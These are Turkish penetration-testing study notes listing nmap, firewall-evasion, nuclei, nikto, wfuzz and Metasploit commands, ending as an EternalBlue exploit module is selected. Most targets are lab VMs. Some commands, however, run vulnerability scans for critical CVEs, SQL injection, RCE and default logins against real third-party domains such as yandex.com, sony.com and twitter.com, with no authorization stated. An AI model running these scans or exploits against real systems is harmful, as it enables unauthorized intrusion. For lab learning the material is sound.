Siber Güvenlikte Sızma Testi: Adım Adım Rehber ve Araç Kullanımı
Net Discovery Aşaması:
nmap -sP 192.168.1.0/24 : bu ağdaki ip adreslerinin hangilerinin akti olduğunu bulur
nmap 192.168.1.0/24 –top-ports=100 –open: en sık kullanılan 100 port sdece açık olan makinalar da tarama yapar
cat btk-network-analiz|grep Nmap|awk '{print $6}'>ip : ip dosyasına btk dosyasındaki ip leri atamak içi kullanılan bir komut
daha sonra nano ip diyerek açıp bir kaç düzenleme yaptıktan sonra ctrl + x, y ,enter
sonra cat ip ile okuyun
netdiscovey ile daha güzel bir çıktı alabilirsin.(araştır)
sudo netdiscover -r 192.168.1.0/24 -i eth0: bu komut yerel ağda tarama yapara
-m file: Bir dosyadaki bilinen adresler üzerinden tarama yapar.
-F filter: Paket filtrelemesi yapar. (Normalde arp olarak filtreler.)
-s time: Tarama yapılırken gönderilen paketler arasındaki bekleme süresini ayarlar. (Milisaniye cinsinden yazılması gerekir.)
-n node: Tarama için son IP oktetini ayarlamak için kullanılır. (2-253 arastır)
-c count: Paketlerin gönderilme miktarını gösterir.
-f Hızlı modu aktif hale getirir, daha hızlı tarama yapar. Otomatik taramalar için önerilir.
-d Aracın konfigürasyon dosyasındaki ayaları göz ardı ederek tarama yapar
-S İstekler arasındaki zaman kaybını görmezden gelir
-P Taramayı daha kolay dışa aktarılabilir bir şekilde ekrana yazdırır.
-N Taramayı yazdırırken header kısmını (Tarama durumunun yazdığı kısım) göstermez.
Nmap Hedef Tanımlama:
Arp tablosu: arp -a
kendi ipmizi direk görmek için: hostname -I
sudo netdiscover -p -r 192.168.126.0/24 -i eth0:
-p: pasif tarama yapar yani karşılıksız arp yanıt gibi çalışır daha yavaş ama daha güvenlidir.
Nmap -Pn: ping atmadan port taraması yapmayaçalışır. Filtreli portlar normal ping e cevap vermeyebilir. Bu gibi durumlarda kullanılır.
Çalıştığımız makineye ulaşmak için: Typhoon bu makineyi kurun ve her iki makineninde aynı ağda olduğundan emin olun. Bunun için custom dan NAT olarak aynı seçebilirsin.
Bu zafiyetli bir makinedir. Bunun için özel alan olsun.
Nmap yandex.com.tr gibi nmap e bir domain de verilebilir.
Diyelim ki; bir sızma testinde bakmamız gereken çok fazla subnet var
Bunun için bir liste bunu yazarak yapabiliriz. Örn:
nano iplist-btk
192.168.126.0/25
192.168.126.0/24
yandex.com.tr
10.0.0.0/24
bunları yazdıktan sonra: ctrl + x, y, enter
daha sonra: nmap -iL iplist-btk diyerek kaydelimiş listde içerisindekiler satır satır işleme alırnır.
Nmap varsayılan olarak ilk 1000 en çok kullanılan portlara bakar
mesela bir ip aralığında bazı subnetleri çıkarmak için ise:
nmap 192.168.126.0/24 –exlude 192.168.126.129
--exclude: bu ip hariç
Nmap Port Tanımlaması:
Nmap de belirli bir portu taramak istediğimizde:
nmap -p 80 192.168.126.128
tüm network için yapılbilir ve birden fazla da belirtilebilir:
nmap -p 80,443 192.168.126.0/24
hem ip hem de port da aralık da verilebilir:
nmap -p 80-650 192.168.126.128-254
veya bazı ip adresleri:
nmap -p 80-650 192.168.126.128,200,210,240
sadece açık olanları görmek istiyoruz mesela:
nmap -p 80-650 192.168.126.120-255 –open
tüm portları tüm ağ için tara ama sadece açık olanları göster:
nmap -p 0-65535 192.168.126.0/24 –open
veya: nmap -p- 192.168.126.0/24 –open
yine aynı şekilde en sık kullanılan port ları bulmak için:
nmap 192.168.126.128 –top-ports=5000
en sık kullanılan 5000 port taranır bu seferde
Nmap Tarama Tipleri:
Mesela nmap ile tarama yaptık ve closed olarak döndü bu şu anlara gelebilir:
port açık ama bu port da herhangi bir servis çalışmıyor
port açık ama filtrelenmiş(güvenlik duvarı)
portun durumu belirsizsdir
şimdi bunlar port durumlarını nasıl kontrol ederiz ona bakalım
ama bunu anlayabilmemiz içinde three way handshake e bakmamız gerek.
Bu tcp protokolüdür 3 yollu el sıkışma
biz bir istekte bulunuruz: SYN(seq=100)
onaylanırsa cevap döner: SYN-ACK(seq=200,ack=100 + 1)
sonra biz onaylanan cevaba karşılık veririz: ACK(seq=101 + 1,ack=200 +1)
eğer biz nmap e belirtmez isek yarı açık tarama syn taraması ayapar (-sS)
bu yötemde de TCP protokolü kullanılır
aynı zaman -sT de bu mantıkta çalışır ama:
-sS: burada bir syn paketine karşılık syn-ack gelirse açık olarak adlandırılır
ki bu da hedef makinenin portu açık olarak değerlendirilebilir ama şöyle bir şeyde söz konus:
diyelimki karşı tarafta syn-poxy diye bir teknoloji var ve makineye gönderilen tüm istekler de open olarak dönecek.
Kapalı dahi olasa bize açık mış gibi cevap dönebilir.
Bu durumda böyle karşı tarafta böyle bir teknolojinin olduğundan şüphelenmemiz gerekiyor.
-sT: bu durumda da karşı tarafın portlarının gerçekten açık olup olmadığını anlamanız gerekmektedir.
-sT => syn => syn-ack => ack olarak 3 yollu el sıkışma ile bunu belirleyebiliriz
nmap -sT 192.168.126.128 (bu bizim kurduğumuz typhoon makine ipsi sizde farklı olabilir.)
en başlarda gödüğümüz -sP (pin) 5.0.0 dan sonra -sn kullanılmaya başlandı
nmap -sP 192.168.126.0/24: ağdaki aktif olan makinalerı gösterir
UDP port taraması da yapabilir:
UDP: kısaca gönderilen verinin gidip ditmediğinin kontrol edilmediği protokoldür.
Amaç: canlı yayın, görüntül konuşma ses gibi düşünebiliriz. Bu durumlarda veri olabildiğince hızlı gider ama veri eksikliği kontrol edilmez.
Nmap -sU 192.168.126.128
bu biraz uzun sürdüğünde kısıtlayalım
nmap -sU 192.168.126.128 –top-ports=10
burada açık kapalı direkt gelir
NullScan: burada paketler flag(bayrak) sız olarak gönderilir.
IDS/IPS güvenlik yapılarında atlatma şansı olur ve genelde bayraksız paketler filtrelenmez ve tespit edilmesi daha zordur.
Nmap -sN 192.168.126.128
Nmap Ek Parametreleri:
Karşı tarafta çalışan işletim sistemini bulmak için:
nmap 192.168.126.128 -O
burada tahmini bir cevaptır. Pakete verilen anıt/davranışa göre tahminlerde bulunuru.
Running: Linux 3.X|4.X : linux un 3.X ve 4.X versionlarından biri gibi
nmap ip girdiğimizde karşı tarafta open olarak bazı port bilgileri var
ama nmap bunu örn: 21 port açıksa kesin ftp vardır gibi tahminde bulunuyor.
Ama bizim bunu kesin olarak doğrulamamız gerek. Nasıl
bu durumda da versiyon taraması yapmamız gerek:
(kevgir makinesi bu) nmap 192.168.126.131 -sV
-sV: bu parametre sayesinde sadece açık portları bulmakla kalmaz aynı zamanda bu açık portlarda çalışan servislerin version bilgilerinide alırız. Ama daha yavaş olacaktır.
nmap 192.168.126.128 -sV -version-intensity 9 -p 20-600:
-version-intensity: önüde level bilgisi var 0-9 aralığında ve sayı arttıkça tarama zamanı ve detay bilgisi artar. Bunun için sadece sürece gözlemlemek adına belirli port aralığı verdik.
Tümü için: nmap 192.168.126.128 -sV -version-intensity 9 -p-
eğer tüm ağ için yapmak istersek: nmap 192.168.126.0/24 -sV -version-intensity 9 -p-
bu bilgiler ediildikten sonra çalışa servislerin ve version bilgilerinin internette daha önce bulunmuş zafiyetlerini araştırmak gerekiyor.
“ NOT: BİR ARAMA YAPARKEN GOOGLE DORK KULLAN VE ARCHİVE.ORG YE DE BAKMAYI UNUTMA!!! ”
nmap 192.168.126.131 -A:
dediğimizde, versiyon, port, işletim sistemi ve bazı script ler çalıştırır
NOT WİN İLE HABERLEİMEK İÇİN WİNDOWS FİREWALL U KAPATMANIZ GEREK!!
tarama çıktısını bir dosyaya kaydetmek için:
nmap 192.168.126.132 -oN akademi (bu da windwos7 makinesi)
nano akademi yazarak çıktının kaydedildiğini görüntüleyebiliriz
eğer xml olarak çıktı almak istersek:
nmap 192.168.126.132 -oX akademi2
nmap 192.168.126.131 -oG
kolayca aranabilir olarak kaydeder. Bu format, komut çıktısını filtrelemek ve işlemek için uygundur. Özellikle hızlıca bilgi çekmek amacıyla kullanılır.
Eğer birden fazla farklı şekilde çıktı almak için:
nmap ip -oA akademi dedikten sonra 3 farklı çıktı oluşturur
uzantılarını kendi verdiğğinden ayırt etmesi kolaydır. Ls -l ilelisteleyip görebilirsin veya ls -l|grep akademi3 ile de bunları ayıklayabilirsin
zamanlama konusunda hızlı tarama yapmak blocklanmaya yol açabilir. Bunu için -T parametresi 0-5 arasında değer alır ve varsayıla 3 tür ama karşı tarafta bir firewall/filtered varsa çok yavaş mod olan -T1 i seçmek çok mantıklı olacaktır. Ama tabikide varsayılan olarak en sık 1000 port tarandığından biraz uzun sürebilir. Bunu kademeli olarak da yapabilirsiniz. Tarana portları bir list içerisine alıp bunu nmap e verip bu portların hariç olduğunu belirtirsiniz mesela. Ve -p- ile tüm portları tarayıp nihai sonucu bekleyebilirsiniz.
Örn olarak: nmap 192.168.126.131 -T1 -top-ports=2
2 portun taranması benim cihazımda 45.03sn sürdü eğer -T2 yapsaydık bu süre 1.23sn oluyor. Ardaki fark uçurum ama ağda farkedilmeden güvenli tarama yapmamızı sağlar güvenlik için.
Diyelimki karşı tarafta ping e cevap vermeyecek şekilde konumandırılmiş bir güvenlik duvarı var ne yapacağız?
Nmap ip -Pn ile hiç ping atmadan port taraması yapacaktır
yani direkt synScan yap diyebiliyoruz
nmap version bilgisi:
nmap -V
diyelimki çok uzun soluklu bir tarama yapıyoruz:
nmap 192.168.126.0/24 -vv --open -Pn -top-ports=5000 -sT -sV -O -oA akademi4
-vv: bize daha çok geri bildirim verecek
--open: sadece durumu open olan lar listelenecek
-Pn: hiç ping atmanda direk synScan taraması yapacak
-top-ports=5000: en sık 5000 port taranacak
-sT: Tcp threHandShake ile portun gerçekten açık mı ona bakacak
-sV: bulunan açık portların version bilgileri alınacak
-O: işletim sistemi bilgisi alınacak
-oA: ve 3 tipde dosya yazacak
tab bunun için root yetkisi gerek komut başına sudo ekleyerek çalıştırın
eğer DNS çözümlemesi yapmadan biraz daha hızlı bir tarama yapmak istersek:
nmap 192.168.126.0/24 -vv --open -Pn -top-ports=5000 -sT -sV -O -oA akademi4 -n
eğer daha detaylı bilgi almak istiyorsak ve tm ağ ve portlarda yapmak itiyorsak:
sudo nmap 192.168.126.0/24 -vv --open -Pn -p- -sT -sV -version-intensity 9 -O -oA akademi4 -n
Not: win ler de daha iyi çalışması için: ctrl + r SystemPropertiesPerformance sonra advece(gelişmiş) ve sonra 3. kısıma tıkla ve onayla.
Nmap Scripting Engine:
Lua dili ile geliştirimiş nmap üzerinde çok fazla şey yapabileceğimiz bir şeydir.
Nmap Scripting Engine
mesela karşı tarafa bir script taraması yapabiliriz belirli bir port veya portlara:
nmap -p 139, 445 192.168.126.133 (bu win 10 makinesi) -sC (bu parametre ile)
scripleri update etmek için: sudo nmap –script-updatedb
mesela belirli bir açık porta göre nokta atışı script çalıştırabiliriz:
Not: bir önceki ni sudo ile çalıştırmak için: sudo !!
nmap –script=smb-os-discovery 192.168.126.133
win 10 da çalışmadı win 7 de bakalım:
nmap –script=smb-os-discovery 192.168.126.132
--script=smb-protocols: bununla karşı tarafın hangi smb protocolu kullandığını bulabiliriz ve:
nmap --script=smb2-security-mode -p 445 192.168.126.133 ile baktığımızda:
Mesaj imzalama etkin, ancak zorunlu değil diye mesaj verdi.
Bu da potansiyel bir güvenlik açığı oluşturabilir.
Mesela bir script ile ilgili bilgi görmel istersek:
nmap --script-hel smb2-security-mode yaptığımızda hem ilgili kaynağa gidebilir hemde burada açıklamaları okuyabilirz.
Mesela nmap in scrip dizininde geçen smb zafiyetlerini görmek istiyoruz:
ls -la /usr/share/nmap/scripts/|grep smb ile bunları görüntüleyebiliriz.
Mesela smb lerin bir kısmını karşı tarafta denemek istiyoruz:
nmap --script=smb* 192.168.126.133 -p 445
burada tüm smb leri smb nin çalıştığı porta denettirdik
win 10 da bu çıktıyı aldık birde win7 ye bakalım:
nmap --script=smb* 192.168.126.132 -p 445
win7 de oldukça fazla bilgi aldık.
Başka bir kullanımda:
nmap --script=smb-vuln-* 192.168.126.132 -p 445
Nmap Firewall Bypass:
Diyelim ki, nmap taramasını karşı taraf firewall tanıyor. Bu noktada paketler parçalayarak anlaşılması güç hale getirip işimizi kolaylatırabiliriz.
sudo nmap 192.168.126.128 -f: -f ile bunu yapabiliriz.
Daha çok parçalamak için -ff kullanılmalı
buda imza tabanlı detection(tespit) yapan teknolojilerden kurtulmasına yönelik belli başlı hareketler yapabiliriz
-D parametresi ile başka bir ipden sürekli hedef ip ye paket gidiyormuş gibi yapılabilir
sudo nmap 192.168.126.131 -ff -D 192.168.126.132
karşı tarafta boş alanlan oluşturarak kendi ip mizi unutturmaya çalışabiliriz
sistemde gereksiz yük oluşturmamak için:
diyelim ki koca bir ağı tarıyoruz ama bu aşamada her seferinde 1 tanesine yönelik tarama yap:
sudo nmap 192.168.126.0/24 -ff -D 192.168.126.132 -max-parallelism 1
daha sağlık sonuç için burada zaman kavramı çok önemli -T1 veya -T2 bu açıdan öenmlidir.
Sudo nmap 192.168.126.0/24 -ff -D 192.168.126.132 -max-parallelism 1 -T2
ek olarak nasıl ilerlediğini görmek için: -vv parametresini kullan
firewall bypass:güvenlik duvarı atlatma denemeleri yapar
Nmap 192.168.126.132 -script=firewall-bypass
Project Discovery Araçları:
Öncelikle subfinder i indir (subfinder)
daha sonra subfinder -d yandex.com veya go/bin/subfinder -d yandex.com.tr
bunu bir dosyaya kaydedelim: subfinder -d yandex.com -o yandex-domains
daha sonra httpx i kurun (httpx)
ve bulduğumuz subdmain leri analiz edeceğiz:
httpx -ip -tech-detect -l yandex-domains -o yandex-analiz
burada ise bulduğumuz domainleri list formatta ip ve bunlarda çalışan teknolocileri bulmaya çalışarak bir dosyay kaydedecek
yani şunun gibi: https://360.yandex.com [87.250.250.16] [React,Yandex.Metrika]
domain – ip – çalışan teknolojiler
httpx -ip -tech-detect head 100 yandex-domains -o yandex-analiz
not: bir dosya içeriğini çamadan silmek için: truncate -s 0 dosya_adi
bu biraz uzun süreceğinden dosya boyutunu kısaltalım:
head -n 100 yandex-domains > yandex-domains-top-100
httpx -ip -tech-detect -l yandex-domains-top-100 -o yandex-analiz
şimdi de dnsx aracını kuralım(dnsx)
verilen domainde ciddi anlamda dns kayıtlarını döndürür
daha öncesinde yandex-domains-top-100 dosyamızı kullanarak dnsx te bu kayıtlara bakalım
dnsx -l yandex-domains-top-100 -a -txt -ptr-mx -ns -resp
typhoon makinemizde 53 portuna bakalım pinscan ve dns çözmleme yapmadan:
sudo nmap 192.168.126.128 -p 53 -Pn -n
ayrıca aktif tarama yapmak içib dnsenum domain.com şeklin kullanılabilir.
Dnsenum domain.com
şimdi makinemizde version taraması yapalım version hassasiyetini en yükseye alarak:
sudo nmap 192.168.126.128 -p 53 -Pn -n -sV --version-intensity 9
mesela burada bir domain var mı, varsa bu dns deki zone dosyasını çekebilir miyim?
Buna zone transferdns zafiyeti denir.
Şöyle yaparak karşı tarafta domain varmı ona bakalım:
nmap -p 445 192.168.126.128 -script=smb-os-discovery
bu domaini şurada yakaladık: FQDN: typhoon.local
dig aracı ile de mesela bir domanine ait dns kayıtlarına ulaşabiliriz:
dig A yandex.com ile a kayıtlarını
dig ns yandex.com ile name server larını keşfedebilirsin
eğer gelmez ise dig ns yandex.com @8.8.8.8 ile google a sorarak bulabiliriz
şimdi dig ile typhoon.local domainde 53 portundan tüm zone dosyaları çekmeye çalışalım:
dig axfr: zone dosyaları demek
dig axfr @192.168.126.128: git buraya istek yap
dig axfr @192.168.126.128 typhoon.local:
typhoon.local domaininin şu ipden tüm zone dosyalarını ver
@192.168.126.128 e sormamızın sebebi typhoon.local in name serveri bu ip o yüzden bu ipye ait makineye sorduk.
İsterseniz benzer bir uygulamayı zonetransfer.me üzerinde siz yapın
sudo dig ns zonetransfer.me
sudo dig axfr @nsztm1.digi.ninja. zonetransfer.me
böylelikle tüm zonetransfer kayıtlarını aldık
eğer bu yöntem ile çekebilirseniz subfinder kullanmaya gerek olmayacak her şeyi almış oluyoruz zaten
şimdi en kritik araç olan nuclei şimdi bunu kuralım
daha sonra daha önceki araçlar ile birlikte bunu kullanalım:
subfinder -d yandex.com -o yandex-s && httpx -l yandex-s -o yandex-h && nuclei -l yandex-h -o yandex-n -t cves/ -severity critical
önce sudomainleri bulup bir dosyaya kaydediyoruz
sonra aktif olanların kontrol edip http/https olup olmadıklarını kontrol ediyoruz
sonra aktif hedefleri test edip critical güvenlik açıı olanları raporluyoruz
ama şunu indirmeyi unuttuk: nuclei -update-templates
kullanıcı ev dizinine indirir nuclei-templates diye dizinde
bu komutu çalıştırın: subfinder -d yandex.com -o yandex-s && httpx -l yandex-s -o yandex-h && nuclei -l yandex-h -o yandex-n -t technologies
ve bitmesini bekleyin
daha sonra: cat yandex-n|grep -v -i '^INF'
çalıştırın ve bakalım neler bulumuş görelim. Kendiniz de nuclei aracı hakkında araştırma yaparak daha fazla bilgi alabilirsiniz.
Nulei Aracını Keşfetmeye Devam Ediyoruz
Mesela şuraya bakın
burada tag olarak da verebiliriz ve zafiyetin varlığına ilişikin tarama yaptırtabiliriz:
nuclei -l yandex-h -t cves/ -severity medium,high,critical -tags cve2021
ve cve2021 deki zafiyetlere ilişkin tarama yapabiliriz
böy bir configürasyon da yapılabilir
arada kendinizi komutları iç içe kullanmak için bilgilerinizi tazelemeyi unutmayın:
cat yandex-h -n|tail -n 1|awk '{print $1}'
bununla toplam satır miktarını aldım ama
grep -c “” yandex-h ile de yapabilirdim
;)
şimdi de şuraya bakın
daha sonra:
nuclei -l yandex-h -t default-logins/
bir şey çıkmayabilir ama kendiniz de denemeler yapabilirsiniz
şimdide: şuraya
nuclei -l yandex-h -t exposed-panels/
bu da dışa açık panelleri bulmada işe yarayabilir.
Mesela birden fazlada yapabiliriz ek olarak
nuclei -l yandex-h -t misconfiguration/ -t exposed-panels/
yeni eklediğimiz de hatalı konfigürasyonları bulur
ek olarak yandex-h ye http://kendi.ipniz ekleyiniz
teknoloji keşfi de yapabiliriz:
nuclei -l yandex-h -t technologies/
sql inject denettirelim şimdide:
nuclei -l yandex-h -t cves/ -severity medium,high,critical -tags sqli
nuclei -l yandex-h -t cves/ -severity medium,high,critical -tags sqli,rce
WAF Tespiti (Web Application Firewall)
Not: yeni ip: sudo dhclient -r eth0 sonra sudo dhclient eth0 sonra ifconfig yeni ip hazır
karşı tarafta waf varmı bunun tespitine yönelik neler yapabileceğimize bakalım
wafw00f:
direkt url alır. Verilen url e normal isteklerden sonra waf ların kızacağı bir istek yapıp karşı tarafta kızarsa tama burada waf war diyebilir
wafw00f https://sony.com
sonuç olara:
İstek bir tarayıcıdan yapılmadığında yanıt farklıydı.
Normal yanıt kodu "403" iken, değiştirilmiş bir isteğe yanıt kodu "200"dür
yani belirli türdeki istekler engellernirken tarayıcı istekleri kabul ediliyor bu da waf ın arkasında çalıştığına yönelik bir kanıt olabilir
daha belirgin bir sonuç için:
wafw00f https://blog.guzzy.dk
bu araç karş taraftaki teknoloji anlamanıza ve bypass etmenize yardımcı olabilir.
Nuclei de de var waf detect
önce bunu bulalım:
şu dizin içerisinde: nuclei-templates
tree nuclei-templates/http/technologies/*.yaml -L 2|grep waf
nuclei-templates/http/technologies/waf-detect.yaml
bunu kullanmak için:
nuclei -l yandex-h -t technologies/waf-detect.yaml
daha iyi sonuç için yandex dosyamıza:
kendi ip miz, zafiyetli makine ipsi ve ek olarak
https://kendi.ip
https://zafiyetli.makine
https://prismacsi.com
https://sony.com
https://twitter.com
https://blog.guzzy.dk
nüclei daha güzel sonuç verdi
mesela github da waf detection araması yapalım:
şunu bulduk
indirmak için: git clone https://github.com/Ekultek/WhatWaf.git
daha sonra indirilen dosyaya geç: cd WhatWaf
daha sonra chmod +x setup.py
chmod +x install_helper.sh
./install_helper.sh
kurulum tamamlanınca pip install -r requirements.txt
eğer hata alırsnız sonuna: --break-system-packages ekleyiniz
daha sonra her yerden erişilebilir olması için:
önce aktif shell öğren: echo $0
bash, zsh gibi olabilir.
Daha sonra pwd ile waf dosyasının tam dizini al
Nano ~/.zshrc (sonuna rc ekleyin ve açın)
ctrl + end ile en sona git
eğer yoksa
export PATH=tam dizini yaz
varsa:
satır sonuna git : koy ve tam dizini yaz ve ctrl + x, y, enter sonrada: source ~/.zshc yap
ama olmadı whatwaf dizinice geçin:
python3 whatwaf -l yandex-h çalıştırın
yandex-h dosyanız neredeyse onun dizinini verin mesela
python3 whatwaf -l ../../yandex-h1 iki üst dizin içerisinde gibi.
Zafiyet Keşifleri
Nmap:
bunun için zafiyetli makinede birkaç deneme yapalım:
sudo nmap 192.168.126.128 -p 80,443 -script=http-vuln-*
bu tarama ile nmap deki http zafiyetlerinin http portlarında denenmesini sağlayalım zafiyetli makine üzerinde.
Bulamadık ama her zaman bulacağımız anlamına gelmez :)
bir de şunu deneyin:
daha önce smb ile ilgili birşeyler bulmuştuk:
sudo nmap 192.168.126.128 -p 445 -script=smb-vuln-*
açığımız: smb-vuln-regsvc-dos
araştırın.
Nikto:
http servislerine ve web sunucularına yönelik zafiyet araştırması için oldukça sık kullanılan bir araçtır.
Önr: nikto -h 192.168.126.128
bana bu ipdeki zafiyetleri araştır demek.
nikto -h 192.168.126.128:8080 diye de port belirtebilirsiniz
veya: nikto -h 192.168.126.128 -p 80,8080
burada 80 port üzerinde önemli bir zafiyet var bakalım nikto onu bulabilecek mi:
evet buldu: shellshock
bu zafiyet başlı başına bir sorun direk sunucu üzerinde komut çalıştırabilirsiniz.
Oldukça tehlike arz eden bir durum.
Nuclei de de bulması gerek aslında şunu bir deneyin: nuclei -u http://192.168.126.128 -t http/vulnerabilities/other/
eğe nuclei kullanılacak ise patern lerde araştırma yaparak daha da geliştirebilirsiniz mesela adam orada test.sh yapmış ama nuclei test olarak bakıyor ve normalde bulması gerekirken bulamıyor. Ama nikto da iyi sonuçler verir.
Wfuzz:
bu araç güçlü bir web güvenlik tarayıcısıdır.
Aynı şekilde gobuster, dirb gibi araçlar da işe yarar:
gobuster dir --url http://192.168.126.128 --wordlist /usr/share/dirb/wordlists/big.txt
dirb http://192.168.126.128
eğer görsel bir arayüz isterseniz: dirbuster http://192.168.126.128
burada bazı yerleri doldurarak görsel bir arayüz elde edebilirsiniz.
Ve tüm web sitesinin haritasını görsel olarak çıkarabilirsiniz.
Mesela dosya olarak seclist ten seçebiliriz:
sudo wfuzz -c -v -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://192.168.126.128/FUZZ --hc 404,403
NOT: araştırma yaparken bulunan servisler versiyonlar arkada çalışan teknoloji bilgileri gibi bunların her birini araştırmak ek olarak zafiyet taraması yapmak oldukça önemlidir.
Bunun için https://www.exploit-db.com/ ye de bakabilir ve notlarınızı alıp ilerleyebilirsiniz. Ve ilk fırsatta bunları deneyip karşı tarafta çalışıp çalışmadığını kontrol etmelisiniz.
Exploit Aşaması: Giriş + Ek Bilgi
Remote exploit: bir zaiyeti uzaktan sömürme
local exploit: sızılan cihazda yetki yükseltmesi
web exploit: web zafiyetini sömüren kod parçacığı
dos exploit: bu exploitler direk servis dışı bırakma ataklarına sebebiyet verir
zeroday/0day/1day exploit: henüz kimsenin bilmediği veya kısıtlı bir yere sahip olan bir zafiyet ama henüz keşfedilmemiş public ortama düşmemiş
payload: karşı tarafta yapılmak istenen aktivite:
örn: firewall kuralı yazılsın, bir kullanıcı açılsı, bir komut çalıştırılsın vb.
Bu exploit kodlarına https://www.exploit-db.com/ den erişebilirsiniz.
Ek olarak bir zafiyeti sömürmek için kullanacağınız bir exploit dsoyası var
ama bir türlü çalışmdığı zamanlar da olacaktır.
Bu olduğunda exploitin kaynak kodunu kontrol ederek çeşitli düzenlemeler yapmanız gerekecektir. VE HER ZAMAN ONE SHUT hakkının olduğunu bilerek tüm adımlarının doğruluğu kontrol ettikten sonra işleme almalısın aksi halde kendi ayağınıza sıkabilirsiz.
Exploit Aşaması: Metasploit 1
Sudo msfdb init ile database yapılandırması yapalım
Sudo msfconsole ile giriş yapalım
db_status ile veri tabanına balı olup olmadığımıza bakalım
worksapce:
mesela farklı firmalarda pentest yapıyorsunuz bunların her birini ayrı olarak ele alıp raporlanmasında oldukça yararlıdır ve izole ortam oluşturursunuz kendinize:
oluşturma:
workspace -a firma_A
workspace -a firma_B
silme:
workspace -d firma_A
bir diğer izole alana geçmek:
workspace firma_B
var olan workspace leri listeleme:
workspace
farklı görseller getirmek: banner
içeride bir çok farklı veri tipi tutulur. Mesela nmap ile bir tarama yapalım çıktı xml olsun zafiyetli makinede detaylı bir tarama gerçekleştirelim daha sonra bu dosyayı metasploit ortamımızda oluşturduğumuz: workspace btk_sizma_testi da aktif ken bura import edelim ve birkaç komut çalıştırarak bakalım:
sudo nmap 192.168.126.128 -Pn -sT -sV -version-intensity 9 -O -A -oX 128.xml
db_import /home/<kullanici_adi>/128.xml
hosts
services
vulns
creds
aynısını metasploit içerisinde yapalım
db_nmap 192.168.126.131 -Pn -sT -sV -version-intensity 9 -O -A
db_stats ile ek olanları görebilirsin
mesela yüklediğiniz bir bir dosyanın tüm ilişkilerini silmek için: db_delete hosts -t 128
eğer veri ilgili veri tabanını silmek için: db_delete -d btk_sizma_testi
değiştirmek için: db_connect -d default
veri tabanı bağlanısı kesmek için: db_disconnect
veri tabanını dışa aktarmak için: db_export -f xml /ilgili_dizin/my_backup.xml
-f xml: dosya tipini belirler genelde xml dir nmap tarama sonuçları.
db_destroy: aktif olunan worksapce içeriğini siler
Exploit Aşaması: Metasploit 2
Hosts dediğimizde iki makineni bilgisinide görmüş oluruz ama karışık bir şekilde
services -h ile yardım menusunden ihtiyacımıza uygun parameteri bulabiliriz
services -S http dersek http ile ilgili bize getirecektir.
Ya da -p 21 ile direk port numarası ile de tarama yaptırtabiliriz
services -S vsftp gibi
help komutu ile metasploit de çalıştırabileceğiniz mevcut komutlar yer alır
metasploit de bir zafiyeti aratabiliriz.
Bunun için yeni bir terminalde bir zafiyetli makine üzeirnde smb scritp i çalıştıralım:
sudo nmap -p 445 192.168.126.131 -script=smb-vuln-*
win7 ultimate de olmadı ama şu şekilde googlede arama yarparsanız
intitle windows 7 pro sp1 site archive
gibi bir arama yapar indirebilirsiniz fakat oldukça yavaş inebilir.
Neyse şimdilik indi farz edelim ve ms17-010 zafiyeti keşfetti diyelim
biz bunu zfiyetin metasploit de olup olmadığını nasıl bulabiliriz?
Search -h ile parameter hakkında bilgi alabilirsiniz
search ms17-010
karşımıza çıkan listede: auxiliary/scanner/smb/smb_ms17_010
bunun keçtiği satır numarasını
info 24 şeklinde belirtelim hakkında bilgi alalım
use 24 ile bunu aktifleştirebilir ve ardından options ile Required kısmında yes olanları belirtilmesi gerek bunları bakmış olmamız gerek
baktığımızda ise gerek olanlar:
name_pipes zafiyet tespiti içi ihtiyacı olan pipe nameler ki bu varsayılan olarak verilmş
rhosts hangi hedef/hedeflerin olduğunu belirtmet
rport hedef port burada varsayıla olarak 445
threads eş zamanlı olarak kaç tarama yapılması gerek onu istiyor
set ile bunları doldurabiliriz:
tek hedef için: set RHOSTS 192.168.126.132
veya worksatation da eklediğimiz 445 portu açık olanları eklemek için:
services -p 445 -R
set THREADS 10
daha sonra options ile bunları kotrol edelim ve run dedikten sonra bilgilerin geldiğini görebilirisiniz.
Modulu devre dışı bırakmak için: back
şim yeni makinelerimiz üzerinde tes edelim makine adlar:
win7 pro sp1 x64 ve win server 2008 r2 x64
bunlara ulaşmak için: intitle win7 pro sp1 x64 site archive.org gibi google dorking ile ulaşabilirsiniz
bu makineleri üzerinde test yapalım
en basit olarak: sudo nmap 192.168.126.134,135 -top-ports=100 -sC -n -Pn
veya sudo nmap 192.168.126.134,135 -sV -p- -sT -n -Pn -A -O -script=vuln
bu zaman alabilir veya direkt önce port taraması sonra da 445 üzerinden bir smb taraması yapabiliriz: nmap 192.168.126.134,135
bunu için sudo nmap 192.168.126.134,135 -sV -n -sT -Pn -p 445 -script=smb-vuln-*
iki makinede de ms17-010 zafiyeti çıktı.
Şimdi metasploit de yapalım:
önce veritabanı için: sudo msfdb init
sudo msfconsole
workspace ile çalışma ortamlarına bakalım
kendi ortamımıza geçelim: workspace btk-sizma-testi
db_import /<tampath>/128.xml ile daha önce ki taramamızı içe aktaralım
şimdi burada bir nmap taraması yapalım
db_nmap 192.168.126.134 -sV
şimdi services -s 445 ile smb portları görüntüleyelim
aynı şekilde metasploit de ms17-010 zafiyetini aratalım
search ms17-010
şu satırı bulun: auxiliary/scanner/smb/smb_ms17_010
önce info 24 ile gerekliliklere bakabiliriz
satır numarasını use 24 yazıp aktif edelim
options ile aktif ettiğimiz zafiyetin gereliliklerine bakabiliriz
düzenleme için set anahtar kelimesini kulanacağız:
önemli gereklilikler Required altında yes olarak belirtilir diğer lerini de yaparsanız daha iyi olabilir.
Namepipes varsayılan, rport varsayılan ve threads varsayılan
biz rhosts, ve threads i yapacağız:
tek hedef için: set RHOSTS 192.168.126.134
eğer çalışma prtamındakileri eklemek istersek: services -p 445 -R
445: smb zafiyetini sömürmek için bu portu açık olan hedeflerin hepsini alır tabi ekliyse
set THREADS 10
sonra options ile kontrol edin ve run deyin
çıktı:
[+] 192.168.126.134:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[-] 192.168.126.128:445 - Rex::HostUnreachable: The host (192.168.126.128:445) was unreachable.
Birinde var diyerinde yok
back ile eski hale dönebilirsin
Exploit Aşaması: Metasploit 3
Şimdi devam edelim: search ms17-010
şunu seçelim: exploit/windows/smb/ms17_010_eternalblue
use ile satır numarası girin
options ile verilmesi gereken değerleri görelim ve set ile bunları verelim
show targets ile bu exploitin hangi sistemlerde çalıştığını görebiliriz
